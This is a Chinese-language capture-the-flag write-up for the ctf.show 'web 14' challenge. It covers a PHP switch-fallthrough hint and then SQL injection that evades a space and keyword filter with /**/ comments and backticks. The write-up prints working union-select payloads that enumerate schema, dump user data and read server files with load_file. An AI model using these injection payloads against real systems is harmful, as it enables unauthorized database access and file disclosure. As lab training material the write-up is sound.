web 14
打开环境，界面有一段代码
1 <?php 2 include("secret.php"); 3 4 if(isset($_GET['c'])){ 5 $c = intval($_GET['c']); //获取整数值 6 sleep($c);//延迟执行当前脚本若干秒。 7 switch ($c) { 8 case 1: 9 echo '$url'; 10 break; 11 case 2: 12 echo '@A@'; 13 break; 14 case 555555: 15 echo $url; 16 case 44444: 17 echo "@A@"; 18 break; 19 case 3333: 20 echo $url; 21 break; 22 case 222: 23 echo '@A@'; 24 break; 25 case 222: 26 echo '@A@'; 27 break; 28 case 3333: 29 echo $url; 30 break; 31 case 44444: 32 echo '@A@'; 33 case 555555: 34 echo $url; 35 break; 36 case 3: 37 echo '@A@'; 38 case 6000000: 39 echo "$url"; 40 case 1: 41 echo '@A@'; 42 break; 43 } 44 } 45 46 highlight_file(__FILE__);
这段代码很简单，需要进行传参，然后我分别传了1，2，3。当传3的时候会出现一个提示
pyload: ?c=3
那就随手就访问一下吧。
有一个提示框，进去之后是这样的界面
遇见这种界面了，恐怕又是sql注入了。此题貌似过滤了空格。那我们看一下源码吧。
1 <?php 2 if(preg_match('/information_schema.tables|information_schema.columns|linestring| |polygon/is', $_GET['query'])){ 3 die('@A@'); 4 } 5 ?>
我们发现这样一段代码，看来是对一些注入的关键字进行了过滤，其中还包括空格。
那我们还用/**/来进行空格绕过。对于那些过滤了的关键字我们使用反引号进行绕过。
那我们开始注入，在输入框里输入 1/**/order/**/by/**/1# 才会不报错，只有一个回显位置。
然后爆出数据库名： -1/**/union/**/select/**/database()# ,爆出库名web
爆出表名： -1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'# ,表名为content
然后爆出字段名： -1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'# ,爆出的字段有：id,username,password
查看数据： -1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content# 这里提示你：1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret...
秘密，该不会flag还是在secret里吧。那我们使用load_file()函数访问一下。
-1/**/union/**/select/**/load_file('/var/www/html/secret.php') ,但是没有显示啊，不过源代码里多出了这样一句代码
1 alert('<!-- ReadMe --> 2 <?php 3 $url = 'here_1s_your_f1ag.php'; 4 $file = '/tmp/gtf1y'; 5 if(trim(@file_get_contents($file)) === 'ctf.show'){ 6 echo file_get_contents('/real_flag_is_here'); 7 }')
那我们再获取一下/real_flag_is_here里的数据
感谢yu22x师傅提供的思路。